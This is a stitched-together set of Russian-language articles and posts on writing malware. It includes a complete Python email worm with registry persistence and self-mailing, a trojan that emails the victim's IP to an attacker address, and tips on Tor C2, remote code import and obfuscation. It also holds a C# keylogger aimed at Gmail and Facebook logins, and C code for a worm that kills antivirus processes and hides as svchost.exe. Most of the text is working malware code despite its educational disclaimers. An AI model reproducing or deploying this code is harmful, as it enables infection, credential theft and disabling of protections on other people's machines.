Приветствую!
Пытался придумать вводную — не получилось… Да и оно вам надо? Так что, давайте вкратце: в этой статье мы разберем такой тип вирусов, как «сетевой червь» и даже напишем одного такого.
Итак, что же такое, эти ваши сетевые черви?
Если поискать на википедии, то можно найти следующее определение: «Сетевой червь — разновидность
Ссылка скрыта от гостей
, самостоятельно распространяющейся через локальные и глобальные (
Ссылка скрыта от гостей
) компьютерные сети.» и, в принципе, все верно, сетевой червь — это действительно вредоносная программа, способная воспроизводить себя на устройствах, распространяющаяся по сетевым каналам и часто, способная к самостоятельному преодолению систем защиты компьютерных сетей. При этом пользователь не подозревает о заражении своего компьютера.
Распространятся по сети черви могут, отправляя свои копии по электронной почте, или заражая устройства, используя критические уязвимости систем (например, такие, как, знаменитая, закрытая уже Eternal Blue). Сетевые черви могут размножаться по каналам файлообменных пиринговых (p2p) сетей (например, Kazaa, Grokster, eDonkey, FastTrack, Gnutella и др.), в системах мгновенного обмена сообщениями (таких как Facebook Messenger, Skype или WhatsApp) и даже, через наше любимую, «безопасную» IRC.
Принцип работы сетевого червя довольно прост — вредоносная программа попадает на устройство, закрепляется там, выполняет вредоносные действия, если есть такая задача и распространяется дальше.
Ну что ж, предлагаю создать одного такого представителя, данного семейства вирусов.
!ВАЖНО! Прошу обратить внимание, что т.к. материал в статье представлен исключительно в образовательных целях, созданный нами червь не будет выполнять никаких вредоносных действий, не будет прятаться на зараженном устройстве и маскировать себя при распространении и самовоспроизведении (например выдавая себя за документ). И вообще, создание вредоносных программ — плохо и можно за это понести ответственность, согласно
Ссылка скрыта от гостей
, или другой страны, в которой вы проживаете.
Для начала, давайте уточним язык программирования, на котором будем творить. Я, естественно буду использовать python3 (не зря же я в этой ветке тему создал, да?), т.к.
я криворукий рукожоп и не могу нормально использовать другой яп
он простой и наглядный, но если есть понимание, что программа делает, то и написать её на другом ЯПе не составит труда.
Теперь определимся, какие задачи будет выполнять наша программа, после заражения устройства (червь будет создан под устройства с ОС windows):
1. Создать свою копию на зараженном устройстве.
2. Записать себя в автозагрузку, через реестр.
3. Триггернуть canarytoken (чтоб нам на почту капнуло уведомление, о том, что червь засел на очередном устройстве)
4. Обратиться к серверу и получить от него какие-либо данные (инструкции). * В нашем случае червь будет получать список email-адресов для дальнейшей рассылки по ним своих копий
5. Выполнить какие-либо действия на зараженном устройстве.
6. Начать самораспространение, путем отправки своих копий, на ранее полученные email-адреса.
С задачами определились, можно и начинать кодить.
Для начала давайте импортируем нужные нам модули:
Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys
import shutil
import requests
from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.application import MIMEApplication
Думаю, os, sys, requests — всем знакомы, на них останавливаться не будем. Модуль winreg предоставляет доступ к реестру Windows, smtplib и email — используются для создания электронной рассылки.
Если у вас отсутствует какой-либо модуль, его нужно установить используя команду:
pip install ‘название модуля’
или
pip3 install ‘название модуля’
Теперь решим первую задачу — самовоспроизведение. Заставим нашего червяка размножится вегетативно, так сказать:
Python:
def main():
# Создаем клона
dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы
path = dir + os.path.basename(__file__) # тут будет копия программы, она же будет запускаться в дальнейшем
if not os.path.exists(dir):
# если директории не существует - создать и скопировать туда нашего червя
os.makedirs(dir) # создание директории в appdata
shutil.copy(__file__, path) # копирование программыС этой частью — все должно быть ясно и проблем возникнуть не должно. Просто проверяем, есть ли уже наш червь на устройстве, если нет — то копируем его. Тут наш червь не прячется и копирует себя в том виде, в котором есть, со вполне очевидным названием.
Переходим ко второй задаче — прописываем червя в автозапуск, через реестр:
Python:
# прописываем в автозапуск, через реестр
reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWAREMicrosoftWindowsCurrentVersionRun', 0, KEY_ALL_ACCESS)
SetValueEx(reestr_path, 'worm', 0, REG_SZ, path)
CloseKey(reestr_path)Готово, тут тоже все элементарно — определяем путь в реестре до автозапуска и создаем новую запись. Прошу отметить, что червяк не будет маскироваться под какую-нибудь системную утилиту, а имеет честное название «worm».
Теперь перейдем к пунктам 3 и 4 — тригернем канарейку и получим инструкции с сервера. Про то, как создать свой cannarytoken в интернете есть много информации, да и сам процесс создания не особо сложный, так что заострять внимание на этом не буду, если у кого-то возникнут вопросы — расскажу в следующий раз, что это, с чем это едят и как такое сделать.
Python:
# Тригирим канарейку
requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html')
# получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки)
instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера
with open('instruction.txt', 'wb') as f:
shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкцииОбратите внимание, что, т.к. я не собираюсь заражать устройства в сторонних сетях, то мой сервер находится в той же сети, что и зараженное устройство. поднят он простейшим способом, при помощи питона и команды:
sudo python -m SimpleHTTPServer 80
В каталоге, который используется, как корневая директория сервера лежит заготовленный файл с инструкциями «instruction.txt», который и стягивает наш червь.
Так же, вместо своего сервера, можно использовать другие средства, например — гит-репозиторий, с которого червь будит тянуть то, что нам нужно.
Ну что ж, больше половины червяка готово, теперь перейдем к пункту 5 и напишем отдельную функцию, для выполнения зловредных и не очень действий:
Python:
def Execute():
"""Функция для выполненя зловредных действий"""
with open('README.txt', 'w', encoding='utf-8') as f:
f.write('Belligerent worm in action')У нас, как понятно по коду, никаких вредоносных действий выполняться не будет, просто создастся файл «README.txt», но отдельная функция нужна, для наглядности, т.к. на самом деле в неё можно запихать целую кучу различных действий.
И вот мы наконец добрались до последнего 6 пункта — самораспространения. Напишем функцию, которая будет рассылать копии нашего червя на email-адреса, указанные в присланном ранее файле, с сервера:
Python:
def SendMail(path):
"""Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции"""
# подготовка данных писма
with open('instruction.txt', 'r') as f:
for mail in f:
# читаем файл с email-адресами, для рассылки построчно
if mail != None:
FROM = "forwormpost@gmail.com" # почта с которой будет вестись отправка
TO = mail
msg = MIMEMultipart()
msg['From'] = FROM
msg['To'] = TO
msg['Subject'] = 'worm' # тема письма
# вложение файла
with open(path, 'rb') as f:
part = MIMEApplication(f.read(), Name=os.path.basename(path))
part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path)
msg.attach(part)
# Отправка письма
smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587)
smtpOBJ.starttls()
smtpOBJ.login(FROM, 'паорль от своей почты')
smtpOBJ.sendmail(FROM, TO, msg.as_string())
smtpOBJ.quit()В качестве почты, с которой червь будет производить рассылку, используется почта gmail. Сразу надо отметить, что в настройках аккаунта gogle надо открыть доступ к почте из ненадежных источников, иначе защита gmail не даст нам залогиниться и отправлять сообщения.
Вот и все, ребята, как говорится. Склеим нашего монстра Франкенштейна и проверим его работоспособность…
Код червя целиком:
Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys
import shutil
import requests
from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.application import MIMEApplication
def main():
# Создаем клона
dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы
path = dir + os.path.basename(__file__) #тут будет копия программы, она же будет запускаться в дальнейшем
if not os.path.exists(dir):
os.makedirs(dir)
shutil.copy(__file__, path)
# прописываем в автозапуск, через реестр
reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWAREMicrosoftWindowsCurrentVersionRun', 0, KEY_ALL_ACCESS)
SetValueEx(reestr_path, 'worm', 0, REG_SZ, path)
CloseKey(reestr_path)
# Тригирим канарейку
requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html')
# получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки)
instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера
with open('instruction.txt', 'wb') as f:
shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции
Execute() # выполняем зловредные действия
SendMail(path) # начинаем процесс самовоспроизведения и распространения
def Execute():
"""Функция для выполненя зловредных действий"""
with open('README.txt', 'w', encoding='utf-8') as f:
f.write('Belligerent worm in action')
def SendMail(path):
"""Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции"""
# подготовка данных писма
with open('instruction.txt', 'r') as f:
for mail in f:
if mail != None:
FROM = "forwormpost@gmail.com"
TO = mail
msg = MIMEMultipart()
msg['From'] = FROM
msg['To'] = TO
msg['Subject'] = 'worm'
# вложение файла
with open(path, 'rb') as f:
part = MIMEApplication(f.read(), Name=os.path.basename(path))
part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path)
msg.attach(part)
# Отправка письма
smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587)
smtpOBJ.starttls()
smtpOBJ.login(FROM, 'пароль от почты')
smtpOBJ.sendmail(FROM, TO, msg.as_string())
smtpOBJ.quit()
if __name__ == "__main__":
main()Запускаем и проверяем:
Червь отработал, посмотрим, что же произошло:
В папке «AppData/Roaming» появился каталог «worm» с копией нашего червя.
До:
После:
Появилась запись в реестре. Теперь при каждом запуске устройства, червь будет пытаться размножиться и выполнить то, для чего предназначался.
До:
После:
Подключение к серверу прошло успешно, в каталоге, из которого производился запуск червя появился файл с инструкциями (стянутый с сервера) и README.txt (свидетельствующий об успешном выполнении функции Execute()):
Пришло сообщение о триггере канарейки
В «отправленных» появилось отправленное червем письмо:
В почтовом ящике эфемерной «жертвы» появилось письмо с вложенным червем:
Вложение скачивается без особых проблем и при запуске пользователем, червь будет активно выполнять заложенные в него функции, тем самым распространяясь все больше и больше.
P.S. Реальный такой червь, вместо получения списка email’ов с сервера мог бы вытягивать с устройства жертвы пароль от почты (если он сохранен, а многие такие вещи сохраняют в каких-нибудь, встроенных в браузер, парольных менеджерах), брать несколько последних адресов с которыми «жертва» вела переписку и отправлять свои копии им, притворяясь при этом каким-нибудь важным документом, кончено.
Ну и на последок, можно скомпилировать нашего червя в .exe файл при помощи pyinstaller и команды:
pyinstaller --onefile --icon='иконка приложения.ico' 'название программы'
На этом — статья заканчивается, спасибо всем, кто нашел в себе силы дочитать до конца. Надеюсь, что такой вид вирусов, как «сетевые черви» были тут понятно разобраны и хоть кто-то нашел для себя что-то новое, или просто интереное.
В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.
Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?
Если отбросить часть иронии…
… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.
Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.
Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.
Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.
Упаковка в бинарники
Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.
- https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
- https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.
Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.
Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.
А шо вирусу делать?
Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.
Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.
Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.
Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.
from torpy import TorClient
hostname = 'ifconfig.me' # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
# Create tor stream to host
with circuit.create_stream((hostname, 80)) as stream:
# Now we can communicate with host
stream.send(b'GET / HTTP/1.0rnHost: %srnrn' % hostname.encode())
recv = stream.recv(1024)Работа с tor c этой либой проста, не сложнее requests.
А шо бы своровать?
Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?
На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.
# pyscreenshot/examples/grabfullscreen.py
"Grab the whole screen"
import pyscreenshot as ImageGrab
# grab fullscreen
im = ImageGrab.grab()
# save image file
im.save("fullscreen.png")Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.
Серверная токсичность
Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.
Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.
Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.
Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.
Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше! Но самый простой в реализации способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.
>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
... import package1
...>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
... import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'Трояны
Теория
Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.
Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.
import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}')
message = 'From: {}nTo: {}nSubject: {}nn{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()Вот и все
Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.
Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.
Просмотры: 3 008
Время на прочтение
6 мин
Количество просмотров 134K
Хакерский мир можно условно разделить на три группы атакующих:
1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.
2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.
3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.
Кейлогер
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Начнем.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
1. [DllImport("user32.dll")]
2.
3. public static extern int GetAsyncKeyState(Int32 i);Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
1. while (true)
2. {
3. Thread.Sleep(100);
4. for (Int32 i = 0; i < 255; i++)
5. {
6. int state = GetAsyncKeyState(i);
7. if (state == 1 || state == -32767)
8. {
9. Console.WriteLine((Keys)i);
10.
11. }
12. }
13. }Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
1. while (true)
2. {
3. IntPtr handle = GetForegroundWindow();
4. if (GetWindowText(handle, buff, chars) > 0)
5. {
6. string line = buff.ToString();
7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
8. {
9. //проверка клавиатуры
10. }
11. }
12. Thread.Sleep(100);
13. }Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
1. //Ищем почтовый адрес
2. ^[w!#$%&'*+-/=?^_`{|}~]+(.[w!#$%&'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$
3.
4.
5. //Ищем пароль
6. (?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
1. Regex re = new Regex(@"^[w!#$%&'*+-/=?^_`{|}~]+(.[w!#$%&'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$");
2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])");
3. string email = "Oded.awask@gmail.com";
4. string pass = "abcde3FG";
5. Match result = re.Match(email);
6. Match result2 = re2.Match(pass);Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
» 2015 » Октябрь » 23 » Как написать простейший вирус (червь) с кодом из двух строк
|
19:51 Как написать простейший вирус (червь) с кодом из двух строк |
Как написать простейший вирус (червь) с кодом из двух строкЭта статья расскажет вам, как написать простейший вирус с кодом из двух строк. Шаги
Советы
|
Категория: Вопросы и ответы | | Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи.
[
Регистрация
|
Вход
]
Устроившись работать программистом в свой родной ВУЗ, я обнаружил интересную вещицу. На некоторых компах периодически стучал флоппи-дисковод. Пытался читать или писать данные на дискету. Каково было мое удивление, когдая узнал в этом засранце свое 1курсное творение :). Которое каким-то образом выбралось на свободу. Этот вирус писался исктлючительно как научный эксперимент кдвум моим научным статьям о вирусах, но какэтот черт выбрался для меня осталось загадкой. Кстати обе статьи я опубликую на сайте, после их публикации в научном сборнике.
Вирусом, как таковым это назвать сложно, так как ничего кроме копирования на дискеты он не делает. Но сделана работа былана славу. Поехали...
При получении управления файл, искал все активные окна в заголовках которых содержались словечки: Norton","AVP","Anti","Vir","McAfee","anti","vir","firewall"
И закрывал их. Это было несложно. И по большей части ни к чему, так как он не детектировался как вирус. Но проверить возможно ли это было крайне интересно.
char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};
BOOLBadWindow(LPSTR strWindow) { BOOLres = FALSE; for (int i=0;i<kx;i++) if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE; return res; } BOOLCALLBACK WndEnumProcMine (HWND hwnd1,long l1) { LPTSTR str1 = new char[255]; GetWindowText(hwnd1,str1,255); if (BadWindow(str1)) { DWORD dwProcessId; GetWindowThreadProcessId(hwnd1,&dwProcessId); if (dwProcessId!=GetCurrentProcessId()) { HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId); TerminateProcess(hProcess,0); CloseHandle(hProcess); } } delete str1; return TRUE; } void EnumProcessesOther() { LPARAM c = 0; EnumWindows((WNDENUMPROC) WndEnumProcMine,c); }
Следующие его действия вполне предугадываемы.
Копируется в системную папку windows под именем svchost.exe и оставляет свои кишки в системном реестре, для запускапри перезагрузке.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR pCmdLine,int nCmdShow) {
char myname[1024],windir[1024]; HKEY hKey; SetErrorMode(SEM_NOGPFAULTERRORBOX); PeekMessage(NULL, NULL, NULL, NULL, NULL);
GetModuleFileName(hInstance,myname,sizeof (myname)); GetWindowsDirectory(windir,sizeof(windir));
strcat(windir,"\SVCHOST.EXE"); CopyFile(myname,windir,FALSE); SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
//--------------------Startup--------------------------------RegOpenKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer\Run" ,0,KEY_WRITE,&hKey); RegSetValueEx(hKey,"SVCHOST.EXE",0, REG_SZ,(BYTE *)windir,256); RegCloseKey(hKey); //-----------------------------------------------------------
if(strcmp(windir,myname)) { MessageBox(0, "This program not win32 mode","Error", MB_OK | MB_DEFBUTTON1 | MB_ICONEXCLAMATION | MB_DEFAULT_DESKTOP_ONLY); return 0; } //-------for(;;) { if(IsDiskInDrive ("a:\")) { CopyFile(windir,"a:\diskinfo.exe",FALSE); RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows \CurrentVersion\Policies\Explorer\Run" ,0,KEY_WRITE,&hKey); RegSetValueEx(hKey,"SVCHOST.EXE",0,REG_SZ,(BYTE *)windir,256); RegCloseKey(hKey); } EnumProcessesOther(); Sleep(30000); }
return 0; }
